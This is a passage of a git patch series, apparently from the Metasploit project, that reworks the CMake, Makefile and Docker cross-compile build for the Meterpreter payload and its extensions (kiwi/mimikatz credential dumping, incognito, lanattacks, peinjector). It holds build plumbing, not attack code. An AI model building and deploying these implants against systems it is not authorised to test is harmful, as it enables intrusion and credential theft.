+    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_stdapi)
+endif()
+if(BUILD_EXT_PRIV)
+    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_priv)
+endif()
+if(BUILD_EXT_ESPIA)
+    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_espia)
+endif()
+if(BUILD_EXT_INCOGNITO)
+    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_incognito)
+endif()
+if(BUILD_EXT_UNHOOK)
+    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_unhook)
+endif()
+if(BUILD_EXT_WINPMEM)
+    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_winpmem)
+endif()
+if(BUILD_EXT_LANATTACKS)
+    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_lanattacks)
+endif()
+if(BUILD_EXT_EXTAPI)
+    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_extapi)
+endif()
+if(BUILD_EXT_KIWI)
+    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_kiwi)
+endif()
+
+if(BUILD_EXT_SNIFFER)
+    if(MSVC)
+        if(EXISTS "${PSSDK_DIR}")
+            set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_sniffer)
+        else()
+            message(STATUS "[!] Unable to build SNIFFER: PSSDK is missing.")
+        endif()
+    else()
+        message(STATUS "[!] Unable to build SNIFFER: not supported on Linux.")
+    endif()
+endif()
+
+if(MSVC)
+    if(BUILD_EXT_PEINJECTOR)
+        set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_peinjector)
+    endif()
+    if(BUILD_EXT_MIMIKATZ)
+        set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_mimikatz)
+    endif()
+    if(BUILD_EXT_POWERSHELL)
+        set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_powershell)
+    endif()
+    if(BUILD_EXT_PYTHON)
+        set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_python)
+    endif()
 endif()
 
 if(MSVC)
@@ -134,10 +213,9 @@ if(MSVC)
     )
 endif()
 
-set(
-    MET_SERVERS
-    metsrv
-)
+if(BUILD_METSRV)
+    set(MET_SERVERS metsrv)
+endif()
 
 set(
     MET_DLLS
diff --git a/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt
index 27afbba4..36567c7f 100644
--- a/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt
@@ -118,7 +118,6 @@ endif()
 # Add all the custom libs that come with the mimikatz source
 set(LINK_LIBS
     ${LINK_LIBS}
-    ${KIWI_LIB_DIR}/advapi32.hash.lib
     ${KIWI_LIB_DIR}/cryptdll.lib
     ${KIWI_LIB_DIR}/fltlib.lib
     ${KIWI_LIB_DIR}/hid.lib
@@ -128,6 +127,7 @@ set(LINK_LIBS
     ${KIWI_LIB_DIR}/ntdll.min.lib
     ${KIWI_LIB_DIR}/samlib.lib
     ${KIWI_LIB_DIR}/winsta.lib
+    ${KIWI_LIB_DIR}/advapi32.hash.lib
 )
 
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})

From dd5243fae5efb26fd7863a6e4f0a34e77c3a769a Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Tue, 26 May 2020 15:37:52 +1000
Subject: [PATCH 21/28] Add helper to build the container with the right name

---
 c/meterpreter/Makefile | 72 ++++++++++++++++++++++--------------------
 1 file changed, 38 insertions(+), 34 deletions(-)

diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile
index ebecb243..80a246eb 100644
--- a/c/meterpreter/Makefile
+++ b/c/meterpreter/Makefile
@@ -1,4 +1,5 @@
 ID := $(shell id -u)
+DOCKER_CONTAINER=win-meterpreter-build
 COMMON_GEN=-Wno-dev -DUSE_STATIC_MSVC_RUNTIMES=ON
 COMMON_GEN_X86=-DCMAKE_TOOLCHAIN_FILE=i686-w64-mingw32.cmake -DBUILD_ARCH=Win32 ${COMMON_GEN}
 COMMON_GEN_X64=-DCMAKE_TOOLCHAIN_FILE=x86_64-w64-mingw32.cmake -DBUILD_ARCH=x64 ${COMMON_GEN}
@@ -248,103 +249,106 @@ meterpreter-ext-kiwi-x64-build:
 ##########################################################################################
 
 docker:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make
+
+docker-container:
+	@docker build ../../docker -t $(DOCKER_CONTAINER)
 
 docker-shell:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build bash
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) bash
 
 docker-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-x64
 
 docker-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-x86
 
 docker-metsrv:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-metsrv
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv
 
 docker-metsrv-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-metsrv-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x86
 
 docker-metsrv-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-metsrv-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x64
 
 docker-ext-stdapi:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-stdapi
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi
 
 docker-ext-stdapi-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-stdapi-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x86
 
 docker-ext-stdapi-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-stdapi-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x64
 
 docker-ext-priv:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-priv
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv
 
 docker-ext-priv-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-priv-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x86
 
 docker-ext-priv-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-priv-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x64
 
 docker-ext-extapi:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-extapi
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi
 
 docker-ext-extapi-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-extapi-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x86
 
 docker-ext-extapi-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-extapi-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x64
 
 docker-ext-incognito:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-incognito
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito
 
 docker-ext-incognito-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-incognito-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x86
 
 docker-ext-incognito-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-incognito-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x64
 
 docker-ext-espia:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-espia
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia
 
 docker-ext-espia-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-espia-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x86
 
 docker-ext-espia-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-espia-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x64
 
 docker-ext-lanattacks:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-lanattacks
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks
 
 docker-ext-lanattacks-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-lanattacks-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x86
 
 docker-ext-lanattacks-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-lanattacks-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x64
 
 docker-ext-unhook:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-unhook
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook
 
 docker-ext-unhook-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-unhook-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x86
 
 docker-ext-unhook-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-unhook-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x64
 
 docker-ext-winpmem:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-winpmem
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem
 
 docker-ext-winpmem-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-winpmem-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x86
 
 docker-ext-winpmem-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-winpmem-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x64
 
 docker-ext-kiwi:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-kiwi
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi
 
 docker-ext-kiwi-x86:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-kiwi-x86
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x86
 
 docker-ext-kiwi-x64:
-	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-kiwi-x64
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x64

From 9dc7a32d6a964ee1cd6fd5fecf58410946ebd49e Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 27 May 2020 12:15:03 +1000
Subject: [PATCH 22/28] Add peinjector cross compile

---
 c/meterpreter/Makefile                        | 29 +++++++++++++++++++
 c/meterpreter/workspace/CMakeLists.txt        |  6 ++--
 .../ext_server_peinjector/CMakeLists.txt      | 12 +++++---
 docker/Dockerfile                             | 26 ++++++++---------
 4 files changed, 53 insertions(+), 20 deletions(-)

diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile
index 80a246eb..3755516a 100644
--- a/c/meterpreter/Makefile
+++ b/c/meterpreter/Makefile
@@ -244,6 +244,26 @@ meterpreter-ext-kiwi-x64-gen:
 meterpreter-ext-kiwi-x64-build:
 	@cmake --build workspace/build/mingw-x64-ext-kiwi $(COMMON_BUILD)
 
+### PeInjector
+
+meterpreter-ext-peinjector: meterpreter-ext-peinjector-x86 meterpreter-ext-peinjector-x64
+
+meterpreter-ext-peinjector-x86: meterpreter-ext-peinjector-x86-gen meterpreter-ext-peinjector-x86-build
+
+meterpreter-ext-peinjector-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-ext-peinjector -DBUILD_ALL=OFF -DBUILD_EXT_PEINJECTOR=ON $(COMMON_GEN_X86)
+
+meterpreter-ext-peinjector-x86-build:
+	@cmake --build workspace/build/mingw-x86-ext-peinjector $(COMMON_BUILD)
+
+meterpreter-ext-peinjector-x64: meterpreter-ext-peinjector-x64-gen meterpreter-ext-peinjector-x64-build
+
+meterpreter-ext-peinjector-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-ext-peinjector -DBUILD_ALL=OFF -DBUILD_EXT_PEINJECTOR=ON $(COMMON_GEN_X64)
+
+meterpreter-ext-peinjector-x64-build:
+	@cmake --build workspace/build/mingw-x64-ext-peinjector $(COMMON_BUILD)
+
 ##########################################################################################
 ### Container-based Builds
 ##########################################################################################
@@ -352,3 +372,12 @@ docker-ext-kiwi-x86:
 
 docker-ext-kiwi-x64:
 	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x64
+
+docker-ext-peinjector:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector
+
+docker-ext-peinjector-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x86
+
+docker-ext-peinjector-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x64
diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index 072f1db8..ad5b9a32 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -177,6 +177,9 @@ endif()
 if(BUILD_EXT_KIWI)
     set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_kiwi)
 endif()
+if(BUILD_EXT_PEINJECTOR)
+    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_peinjector)
+endif()
 
 if(BUILD_EXT_SNIFFER)
     if(MSVC)
@@ -191,9 +194,6 @@ if(BUILD_EXT_SNIFFER)
 endif()
 
 if(MSVC)
-    if(BUILD_EXT_PEINJECTOR)
-        set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_peinjector)
-    endif()
     if(BUILD_EXT_MIMIKATZ)
         set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_mimikatz)
     endif()
diff --git a/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt b/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt
index 0b796783..aaa662ae 100644
--- a/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt
@@ -10,10 +10,12 @@ add_definitions(
     -D_UNICODE
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+endif()
 
 include_directories(../../source/common)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 
 set(SRC_DIR ../../source/extensions/peinjector)
 file(GLOB SRC_FILES
@@ -22,8 +24,10 @@ file(GLOB SRC_FILES
 )
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+endif()
 
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
 if(MSVC)
diff --git a/docker/Dockerfile b/docker/Dockerfile
index 129500e5..e4c1f201 100644
--- a/docker/Dockerfile
+++ b/docker/Dockerfile
@@ -11,19 +11,19 @@ RUN apt-get update && \
 	apt-get dist-upgrade -y && \
 	apt-get -y install software-properties-common && \
 	dpkg --add-architecture i386 && \
-	apt-get update
-RUN apt-get -y install bison flex gcc gcc-multilib jam make wget
-RUN apt-get -y install ruby rake bundler git
-RUN apt-get -y install mingw-w64-x86-64-dev mingw-w64-i686-dev
-RUN apt-get -y install g++-mingw-w64-i686 g++-mingw-w64-x86-64
-RUN apt-get -y install gcc-mingw-w64-i686 gcc-mingw-w64-x86-64
-RUN apt-get -y install cmake
-RUN apt-get -y install maven
-RUN apt-get -y install wine python python3
-RUN apt-get -y install openjdk-8-jdk
-RUN apt-get -y install php-cli
-	#apt-get clean && \
-	#rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
+	apt-get update && \
+  apt-get -y install bison flex gcc gcc-multilib jam make wget \
+    ruby rake bundler git \
+    mingw-w64-x86-64-dev mingw-w64-i686-dev \
+    g++-mingw-w64-i686 g++-mingw-w64-x86-64 \
+    gcc-mingw-w64-i686 gcc-mingw-w64-x86-64 \
+    cmake \
+    maven \
+    wine python python3 \
+    openjdk-8-jdk \
+    php-cli && \
+	apt-get clean && \
+	rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
 
 # Android NDK
 RUN wget http://dl.google.com/android/ndk/android-ndk-r9d-linux-x86_64.tar.bz2 && \

From 325048a5e6d95d6d255eddae1629ef158e7fda03 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Thu, 25 Jun 2020 10:41:29 +1000
Subject: [PATCH 23/28] Fix build, remove metsrv warning

---
 c/meterpreter/source/metsrv/server_pivot_named_pipe.c          | 2 +-
 c/meterpreter/{workspace => toolsets}/i686-w64-mingw32.cmake   | 0
 c/meterpreter/{workspace => toolsets}/x86_64-w64-mingw32.cmake | 0
 3 files changed, 1 insertion(+), 1 deletion(-)
 rename c/meterpreter/{workspace => toolsets}/i686-w64-mingw32.cmake (100%)
 rename c/meterpreter/{workspace => toolsets}/x86_64-w64-mingw32.cmake (100%)

diff --git a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c
index 57ab877b..086d9fee 100644
--- a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c
+++ b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c
@@ -755,7 +755,7 @@ DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet)
 			namedPipeServer = ".";
 		}
 
-		UINT pivotIdLen = 0;
+		DWORD pivotIdLen = 0;
 		LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID, &pivotIdLen);
 		if (pivotId != NULL)
 		{
diff --git a/c/meterpreter/workspace/i686-w64-mingw32.cmake b/c/meterpreter/toolsets/i686-w64-mingw32.cmake
similarity index 100%
rename from c/meterpreter/workspace/i686-w64-mingw32.cmake
rename to c/meterpreter/toolsets/i686-w64-mingw32.cmake
diff --git a/c/meterpreter/workspace/x86_64-w64-mingw32.cmake b/c/meterpreter/toolsets/x86_64-w64-mingw32.cmake
similarity index 100%
rename from c/meterpreter/workspace/x86_64-w64-mingw32.cmake
rename to c/meterpreter/toolsets/x86_64-w64-mingw32.cmake

From 754aeacacf98c3b468d4adb50d1f6fed3b547163 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Thu, 25 Jun 2020 10:50:27 +1000
Subject: [PATCH 24/28] Fix makefile to point to toolsets

---
 c/meterpreter/Makefile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile
index 3755516a..21eb89b8 100644
--- a/c/meterpreter/Makefile
+++ b/c/meterpreter/Makefile
@@ -1,8 +1,8 @@
 ID := $(shell id -u)
 DOCKER_CONTAINER=win-meterpreter-build
 COMMON_GEN=-Wno-dev -DUSE_STATIC_MSVC_RUNTIMES=ON
-COMMON_GEN_X86=-DCMAKE_TOOLCHAIN_FILE=i686-w64-mingw32.cmake -DBUILD_ARCH=Win32 ${COMMON_GEN}
-COMMON_GEN_X64=-DCMAKE_TOOLCHAIN_FILE=x86_64-w64-mingw32.cmake -DBUILD_ARCH=x64 ${COMMON_GEN}
+COMMON_GEN_X86=-DCMAKE_TOOLCHAIN_FILE=../toolsets/i686-w64-mingw32.cmake -DBUILD_ARCH=Win32 ${COMMON_GEN}
+COMMON_GEN_X64=-DCMAKE_TOOLCHAIN_FILE=../toolsets/x86_64-w64-mingw32.cmake -DBUILD_ARCH=x64 ${COMMON_GEN}
 COMMON_BUILD=--config Release
 
 all: meterpreter

From 0c9e909a2f25a2246a504a2d4dd78fc6e1ec394e Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Thu, 25 Jun 2020 10:56:01 +1000
Subject: [PATCH 25/28] Remove reference to Mimikatz from cmake

---
 c/meterpreter/workspace/CMakeLists.txt | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index ad5b9a32..a1f35a45 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -26,7 +26,6 @@ option(BUILD_EXT_ESPIA "Build the ESPIA extension" OFF)
 option(BUILD_EXT_WINPMEM "Build the WINPMEM extension" OFF)
 option(BUILD_EXT_UNHOOK "Build the UNHOOK extension" OFF)
 option(BUILD_EXT_INCOGNITO "Build the INCOGNITO extension" OFF)
-option(BUILD_EXT_MIMIKATZ "Build the MIMIKATZ extension" OFF)
 option(BUILD_EXT_LANATTACKS "Build the LANATTACKS extension" OFF)
 option(BUILD_EXT_PYTHON "Build the PYTHON extension" OFF)
 option(BUILD_EXT_POWERSHELL "Build the POWERSHELL extension" OFF)
@@ -48,7 +47,6 @@ if(BUILD_EXT_ALL)
     set(BUILD_EXT_WINPMEM ON)
     set(BUILD_EXT_UNHOOK ON)
     set(BUILD_EXT_INCOGNITO ON)
-    set(BUILD_EXT_MIMIKATZ ON)
     set(BUILD_EXT_LANATTACKS ON)
     set(BUILD_EXT_PYTHON ON)
     set(BUILD_EXT_POWERSHELL ON)
@@ -194,9 +192,6 @@ if(BUILD_EXT_SNIFFER)
 endif()
 
 if(MSVC)
-    if(BUILD_EXT_MIMIKATZ)
-        set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_mimikatz)
-    endif()
     if(BUILD_EXT_POWERSHELL)
         set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_powershell)
     endif()

From 1fc117743f3fad912f7a2b57bd9bdb0cbed47bc0 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Thu, 25 Jun 2020 23:29:36 +1000
Subject: [PATCH 26/28] Fix kiwi build

---
 c/meterpreter/source/extensions/kiwi/mimikatz | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz b/c/meterpreter/source/extensions/kiwi/mimikatz
index 2905b40c..23fba4e7 160000
--- a/c/meterpreter/source/extensions/kiwi/mimikatz
+++ b/c/meterpreter/source/extensions/kiwi/mimikatz
@@ -1 +1 @@
-Subproject commit 2905b40c31e6252762c3b553ac04045e76fbb458
+Subproject commit 23fba4e7397b4b03a43f0827b264a64f13f3dcdd

From 0e519b605e4eed26ec26b68d850a218c966dbb82 Mon Sep 17 00:00:00 2001
From: Tim W <timrlw@gmail.com>
Date: Fri, 26 Jun 2020 13:06:25 +0800
Subject: [PATCH 27/28] fix java docker build

---
 docker/Dockerfile | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docker/Dockerfile b/docker/Dockerfile
index e4c1f201..c03dc7e8 100644
--- a/docker/Dockerfile
+++ b/docker/Dockerfile
@@ -25,6 +25,8 @@ RUN apt-get update && \
 	apt-get clean && \
 	rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
 
+RUN update-java-alternatives --set java-1.8.0-openjdk-amd64
+
 # Android NDK
 RUN wget http://dl.google.com/android/ndk/android-ndk-r9d-linux-x86_64.tar.bz2 && \
     tar -xvf android-ndk-r9d-linux-x86_64.tar.bz2 && \

From 9f859fe208c3bd4da85a60a248f07d928b027c52 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Sat, 27 Jun 2020 08:32:37 +1000
Subject: [PATCH 28/28] Make sure `output` folder exists

---
 c/meterpreter/workspace/CMakeListsFuncs.txt | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/c/meterpreter/workspace/CMakeListsFuncs.txt b/c/meterpreter/workspace/CMakeListsFuncs.txt
index d7a91556..76f37886 100644
--- a/c/meterpreter/workspace/CMakeListsFuncs.txt
+++ b/c/meterpreter/workspace/CMakeListsFuncs.txt
@@ -8,6 +8,8 @@ function(editbin)
 endfunction()
 
 function(copyoutput)
+    add_custom_command(TARGET ${ARGV0} POST_BUILD
+        COMMAND ${CMAKE_COMMAND} -E make_directory ${ARGV1})
